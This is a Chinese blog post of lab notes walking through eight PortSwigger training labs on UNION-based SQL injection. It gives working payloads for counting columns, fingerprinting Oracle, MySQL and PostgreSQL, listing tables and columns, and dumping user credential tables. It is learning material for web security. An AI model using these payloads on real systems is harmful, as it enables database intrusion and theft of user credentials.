PortSwigger之SQL注入实验室笔记(一)

本文涉及的产品
云原生数据库 PolarDB PostgreSQL 版,标准版 2核4GB 50GB
云原生数据库 PolarDB MySQL 版,通用型 2核4GB 50GB
简介: PortSwigger之SQL注入实验室笔记

声明

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。

实验页面下面都有视频教程,很细 建议观看学习。笔记主要为记录过程,有错误的地方欢迎师傅们指正~

SQL注入

01 SQL 注入 UNION 攻击,查找包含文本的列

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。这种攻击的第一步是确定查询返回的列数。然后,您将在后续实验中使用此技术来构建完整的攻击。

要解决该实验,请通过执行SQL 注入 UNION攻击来确定查询返回的列数,该攻击会返回包含空值的附加行。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 修改category参数,赋予它值'+UNION+SELECT+NULL--。观察是否发生错误。
  3. 修改category参数以添加包含空值的附加列:'+UNION+SELECT+NULL,NULL--
  4. 继续添加空值,直到错误消失并且响应包括包含空值的附加内容。

'+ORDER+BY+3--

17a25f7ef4b91448612bdeb49fd70370_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731163649292

'+UNION+SELECT+NULL,NULL,NULL--

91c2ee46968a4e7fb55bb376c982c3d9_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731163552066

02 SQL 注入 UNION 攻击,查找包含文本的列

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,首先需要确定查询返回的列数。您可以使用在之前的实验室中学到的技术来完成此操作。下一步是确定与字符串数据兼容的列。

实验室将提供您需要在查询结果中显示的随机值。为了解决实验室问题,请执行SQL 注入 UNION攻击,该攻击会返回包含所提供值的附加行。此技术可帮助您确定哪些列与字符串数据兼容。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数。使用category参数中的以下有效负载验证查询是否返回三列:'+UNION+SELECT+NULL,NULL,NULL--
  3. 尝试用实验室提供的随机值替换每个空值,例如:'+UNION+SELECT+'abcdef',NULL,NULL--
  4. 如果发生错误,请移至下一个空值并改为尝试。

任务:使数据库检索字符串:'X8VH6Z'

13fd56f739089c36ea28dc75a2c01ed2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731164553952

'+UNION+SELECT+NULL,NULL,'X8VH6Z'--

5a121f386bec770ca203b0f853ec1409_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731165006938

03 SQL注入UNION攻击,从其他表中检索数据

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,您需要结合您在之前实验室中学到的一些技术。

数据库包含一个名为 的不同表users,其列名为username和password。

为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录。

解决方案

  1. Use Burp Suite to intercept and modify the request that sets the product category filter.
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询返回两列,它们都包含文字,使用像在类别参数以下的有效载荷:'+UNION+SELECT+'abc','def'--。
  3. 使用以下有效负载检索users表的内容:'+UNION+SELECT+username,+password+FROM+users--
  4. 验证应用程序的响应是否包含用户名和密码。

使用'+UNION+SELECT+username,password+FROM+users--获取用户名密码表,得到administrator/a2t6t7m3ybo5f7cz7fja

78a3e907d283d61981fdae02d3abc039_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731165512802

使用得到的用户名密码登录

4632568a18907be0fb7f052e071ed988_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731165741362

04 SQL 注入 UNION 攻击,在单列中检索多个值

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

数据库包含一个名为 的不同表users,其列名为username和password。

为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,其中只有一列包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+NULL,'abc'--
  3. 使用以下有效负载检索users表的内容:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
  4. 验证应用程序的响应是否包含用户名和密码。

'+order+by+2--判断列数为2

848cc62f4ade9ad9b32e5f995f15de18_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731171105351

'+union+select+null,'aaa'--判断回显字段是第二个

a2c49d5647bd15100599767a670a0844_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731171130566

'+union+select+null,username+||+'~'+||+password+FROM+users--读取密码

a621cdc43ec31799a468f4760df99d99_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731171242222

登录administrator~l32y00qu4gkslzqy9d0g

68c26cbb32bfc7a0d7995d41ec0e2b1c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731171430777

05 SQL注入攻击,在Oracle上查询数据库类型和版本

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

要解决实验室问题,请显示数据库版本字符串。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'+FROM+dual--
  3. 使用以下有效负载显示数据库版本:'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

'+ORDER+BY+2--判断列数为2

23c49db023f3baff9942da92c489e5d2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210731171919099

union sql注入攻击中要做的第二件事是确定列的数据类型。我们使用union空查询来做到这一点,我们已经知道有两个列,我们要做的是将int值或字符串测试每一列

' UNION SELECT 'aa', NULL--

如果该列的数据类型不兼容对于使用过滤类别的列的数据类型,它应该抛出一个错误,告诉我们该列不是字符串类型。如果我们没有收到错误,这意味着该列现在是字符串类型。

在此实验环境中,我们可以看到两列都包含字母,所以他们都是字符串类型(还是要进一步测试确认)。

3ce08263f94b6af9e13d73c9d2b022ff_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801004438926

测试' UNION SELECT 'aa', 'aa'--

报错Internal Server Error

aa5b81ddee74379aef02ee8b90fee935_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801004727399

可以确定我们的操作是没有问题的,我们搜索一下oracle的select语句用法oracle select statement

Oracle select语句解释https://www.oracletutorial.com/oracle-basics/oracle-select/

oracle双表解释https://www.oracletutorial.com/oracle-basics/oracle-dual-table/

在 Oracle 中,SELECT语句必须有一个FROM子句。但是,某些查询不需要任何表

Oracle 为您提供了DUAL的一个特殊的表,它属于SYS用户的模式,但所有用户都可以访问。

所以我们为union select后加上from DUAL子句

' UNION SELECT 'aa', 'aa' FROM DUAL--

显示成功

7b89f08d6fa07057140f1254df2c1877_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801005142291

参阅我们的SQL 注入备忘单来找到Oracle数据库查询数据库版本的语句

SELECT banner FROM v$version
SELECT version FROM v$instance

所以我们的payload是

' UNION SELECT banner, 'aa' FROM v$instance--

6a185322f7066ae11cafc17dcd6c0f4f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801005711456

刷新页面会显示恭喜解决

3c7d474c423a89a5aefec2a5bdce224f_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801005934960

06 SQL注入攻击,在MySQL和微软上查询数据库类型和版本

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

要解决实验室问题,请显示数据库版本字符串。

解决方案

  1. Use Burp Suite to intercept and modify the request that sets the product category filter.
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'#
  3. 使用以下有效负载显示数据库版本:'+UNION+SELECT+@@version,+NULL#

同样的思路,先确定列数,通过网页显示内容可以猜测是2列

' ORDER BY 2--查询报错

3c30345eefdbd0d8c4d92ffafc561ce3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801011242670

我们的语法没有问题,这个服务器错误可能是对我们的某个符号进行了过滤,现在我们把--注释符修改为#进行测试,成功

' ORDER BY 2#查询成功

5a28af004bea2cf8f4b3f2f17d8c55af_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801011412205

' UNION SELECT 'AAA', 'BBB'#查询

35153633a40d14138bd9cc25dbabb1cf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801011553835

现在我们需要使用SQL注入语句查询数据库版本,查阅我们的SQL 注入备忘单,找到一些有用的有效负载

SELECT @@version

' UNION SELECT @@version, 'BBB'#

fb5f65c3ecab1511e563f9dc2e948b11_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801011807924

成功解决

3084af6203d8dd534d041943bab86aac_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801011853470

07 SQL注入攻击,列出非Oracle数据库上的数据库内容

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。

要解决实验室,请以administrator用户身份登录。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'--。
  3. 使用以下有效负载检索数据库中的表列表:'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
  4. 查找包含用户凭据的表的名称。
  5. 使用以下有效负载(替换表名)来检索表中列的详细信息:'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--
  6. 查找包含用户名和密码的列的名称。
  7. 使用以下有效负载(替换表名和列名)检索所有用户的用户名和密码:'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--
  8. 找到administrator用户的密码,并使用它登录。

1 确定列数

' ORDER BY 2--响应200

da8cef534922a2bc0de617588d618003_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801012224894

2 确定每列的字段数据类型

' UNION SELECT 'AA', 'CC'--

22f653004812c6f21fc6f99ee716b7df_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801012347821

3 查询数据库类型

在我们的SQL 注入备忘单上找到一些有用的有效负载用来判断数据库类型

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。

甲骨文 SELECT banner FROM v$versionSELECT version FROM v$instance
微软 SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

' UNION SELECT banner, 'CC' FROM v$version--错误,说明不是Oracle

' UNION SELECT @@version, 'CC'--错误,说明不是MySQL和mssql

' UNION SELECT version(), 'CC'--成功,说明是PostgreSQL

38b429d1e94831f9e742548f74be7345_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801012655480

4 检索数据库中的表列表

在我们的SQL 注入备忘单上找到一些有用的有效负载

PostgreSQL SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'


Google搜索information_schema.tables PostgreSQL找到我们需要的列名

https://www.postgresql.org/docs/9.1/information-schema.html

选择columns查看所有的表目录、表架构、表名、列名等

05a9f060c2d5e24d7701780c2a3081d2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.pngimage-20210801015648239

786ae3a2bb96d2196674986ec6113372_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801015912597

我们需要的是表名,table_name

检索数据库中的表列表

' UNION SELECT table_name, 'CC' FROM information_schema.tables--查询数据库表名

463820f26cfddade4c8157592ff76ac3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801020239433

5 查找包含用户凭据的表的名称

我们找到users_随机字符的表users_nvjpgq,假设这是我们所需要的存放用户名密码的表

6 检索表中列的详细信息

现在我们需要输出表的列名

在我们的SQL 注入备忘单上找到一些有用的有效负载

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

SELECT * FROM information_schema.columns WHERE table_name = 'users_nvjpgq'

使用Google搜索我们需要的列名字段information_schema.columns PostgreSQL,得到column_name

https://www.postgresql.org/docs/9.5/infoschema-columns.html

329aefcbda7bc5c0eaa7219585c1f1dd_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801020841687

检索表中列的详细信息

' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users_nvjpgq'

7 查找包含用户名和密码的列的名称

很明显,我们需要的列名应该是username_viaxls和password_senvzp

a88823dacec75227abddbc7334d3fd8c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801021056575

8 检索所有用户的用户名和密码

' UNION SELECT username_viaxls,password_senvzp FROM users_nvjpgq--查找用户名密码字段值

bd6073a6812bea5eac3e81b1a4648221_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801021505496

9 找到administrator用户的密码,并使用它登录

administrator/hiny5a8q5m62aqhoyze9

f4e634177a20ee8992c3f355a571cdcf_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801022127961

08 SQL注入攻击,在Oracle上列出数据库内容

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。

要解决实验室,请以administrator用户身份登录。

解决方案

和上一个实验类似,也是找数据库中的用户名密码,步骤是一样的。

1 确定列数2

' ORDER BY 2--

43b0182ecd72f59e83c1489906685d3b_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801022946506

2 确定每列的字段数据类型-字符型

' UNION SELECT 'AA','CC' FROM DUAL--

e10916dce63f5774cff1038da2b329c3_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801023111143

3 查询数据库类型

' UNION SELECT banner,'CC' FROM v$version--

2356dda370ab98cc133713fa5ca6b296_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801023233073

4 检索数据库中的表列表

查找我们的SQL 注入备忘单,找到查询列出数据库中存在的表以及这些表包含的列语句

SELECT * FROM all_tables

Google搜索all_tables oracle,找到TABLE_NAME

https://docs.oracle.com/cd/B19306_01/server.102/b14237/statviews_2105.htm#REFRN20286

6498bd9918aaffae7d4b4e7a6346d9f2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801023526544

检索数据库中的表列表

' UNION SELECT TABLE_NAME, NULL FROM all_tables--

db7f4fe553507e454972fc9b155af83a_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801024902377

5 查找包含用户凭据的表的名称

USERS_SOMDZN

6 检索表中列的详细信息

查找我们的SQL 注入备忘单,找到查询列出数据库中存在的表以及这些表包含的列语句

SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Google搜索all_tab_columns,找到COLUMN_NAME

b5418e3a73b1e17e1bb40ae989d962ac_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801025138919

检索表中列的详细信息

' UNION SELECT COLUMN_NAME, NULL FROM all_tab_columns WHERE table_name = 'USERS_SOMDZN'--

7e173214820e0399b0bb2a8c9e8074ab_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801025301767

7 查找包含用户名和密码的列的名称

USERNAME_ETJAFO和PASSWORD_RRYQDL

8 检索所有用户的用户名和密码

' UNION SELECT USERNAME_ETJAFO, PASSWORD_RRYQDL FROM USERS_SOMDZN--

af03366dba268311fd733100f5952a4c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801025451647

9 找到administrator用户的密码,并使用它登录

administrator/7710s0z9vh37a81c1n23

0ce3d71ea32271c262fb720898e2ae90_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

image-20210801025754289

相关实践学习
使用PolarDB和ECS搭建门户网站
本场景主要介绍基于PolarDB和ECS实现搭建门户网站。
阿里云数据库产品家族及特性
阿里云智能数据库产品团队一直致力于不断健全产品体系,提升产品性能,打磨产品功能,从而帮助客户实现更加极致的弹性能力、具备更强的扩展能力、并利用云设施进一步降低企业成本。以云原生+分布式为核心技术抓手,打造以自研的在线事务型(OLTP)数据库Polar DB和在线分析型(OLAP)数据库Analytic DB为代表的新一代企业级云原生数据库产品体系, 结合NoSQL数据库、数据库生态工具、云原生智能化数据库管控平台,为阿里巴巴经济体以及各个行业的企业客户和开发者提供从公共云到混合云再到私有云的完整解决方案,提供基于云基础设施进行数据从处理、到存储、再到计算与分析的一体化解决方案。本节课带你了解阿里云数据库产品家族及特性。
相关文章
|
2月前
|
SQL 安全 数据库
惊!Python Web安全黑洞大曝光:SQL注入、XSS、CSRF,你中招了吗?
在数字化时代,Web应用的安全性至关重要。许多Python开发者在追求功能时,常忽视SQL注入、XSS和CSRF等安全威胁。本文将深入剖析这些风险并提供最佳实践:使用参数化查询预防SQL注入;通过HTML转义阻止XSS攻击;在表单中加入CSRF令牌增强安全性。遵循这些方法,可有效提升Web应用的安全防护水平,保护用户数据与隐私。安全需持续关注与改进,每个细节都至关重要。
133 5
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,却也面临着SQL注入、XSS与CSRF等安全威胁。本文将剖析这些常见攻击手段,并提供示例代码,展示如何利用参数化查询、HTML转义及CSRF令牌等技术构建坚固防线,确保Python Web应用的安全性。安全之路永无止境,唯有不断改进方能应对挑战。
69 5
|
2月前
|
SQL 安全 数据安全/隐私保护
Python Web安全大挑战:面对SQL注入、XSS、CSRF,你准备好了吗?
在构建Python Web应用时,安全性至关重要。本文通过三个真实案例,探讨了如何防范SQL注入、XSS和CSRF攻击。首先,通过参数化查询替代字符串拼接,防止SQL注入;其次,利用HTML转义机制,避免XSS攻击;最后,采用CSRF令牌验证,保护用户免受CSRF攻击。这些策略能显著增强应用的安全性,帮助开发者应对复杂的网络威胁。安全是一个持续的过程,需不断学习新知识以抵御不断变化的威胁。
117 1
|
2月前
|
SQL 安全 数据库
Python Web开发者必看!SQL注入、XSS、CSRF全面解析,守护你的网站安全!
在Python Web开发中,构建安全应用至关重要。本文通过问答形式,详细解析了三种常见Web安全威胁——SQL注入、XSS和CSRF,并提供了实用的防御策略及示例代码。针对SQL注入,建议使用参数化查询;对于XSS,需对输出进行HTML编码;而防范CSRF,则应利用CSRF令牌。通过这些措施,帮助开发者有效提升应用安全性,确保网站稳定运行。
47 1
|
2月前
|
SQL 安全 数据库
深度揭秘:Python Web安全攻防战,SQL注入、XSS、CSRF一网打尽!
在Web开发领域,Python虽强大灵活,但安全挑战不容小觑。本文剖析Python Web应用中的三大安全威胁:SQL注入、XSS及CSRF,并提供防御策略。通过示例代码展示如何利用参数化查询、HTML转义与CSRF令牌构建安全防线,助您打造更安全的应用。安全是一场持久战,需不断改进优化。
48 3
|
2月前
|
SQL 安全 数据库
从入门到精通:Python Web安全守护指南,SQL注入、XSS、CSRF全防御!
【9月更文挑战第13天】在开发Python Web应用时,安全性至关重要。本文通过问答形式,详细介绍如何防范SQL注入、XSS及CSRF等常见威胁。通过使用参数化查询、HTML转义和CSRF令牌等技术,确保应用安全。附带示例代码,帮助读者从入门到精通Python Web安全。
88 6
|
2月前
|
SQL 安全 JavaScript
告别Web安全小白!Python实战指南:抵御SQL注入、XSS、CSRF的秘密武器!
【9月更文挑战第12天】在Web开发中,安全漏洞如同暗礁,尤其对初学者而言,SQL注入、跨站脚本(XSS)和跨站请求伪造(CSRF)是常见挑战。本文通过实战案例,展示如何利用Python应对这些威胁。首先,通过参数化查询防止SQL注入;其次,借助Jinja2模板引擎自动转义机制抵御XSS攻击;最后,使用Flask-WTF库生成和验证CSRF令牌,确保转账功能安全。掌握这些技巧,助你构建更安全的Web应用。
51 5
|
2月前
|
关系型数据库 MySQL 网络安全
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
5-10Can't connect to MySQL server on 'sh-cynosl-grp-fcs50xoa.sql.tencentcdb.com' (110)")
|
4月前
|
SQL 存储 监控
SQL Server的并行实施如何优化?
【7月更文挑战第23天】SQL Server的并行实施如何优化?
115 13
|
4月前
|
SQL
解锁 SQL Server 2022的时间序列数据功能
【7月更文挑战第14天】要解锁SQL Server 2022的时间序列数据功能,可使用`generate_series`函数生成整数序列,例如:`SELECT value FROM generate_series(1, 10)。此外,`date_bucket`函数能按指定间隔(如周)对日期时间值分组,这些工具结合窗口函数和其他时间日期函数,能高效处理和分析时间序列数据。更多信息请参考官方文档和技术资料。
下一篇
无影云桌面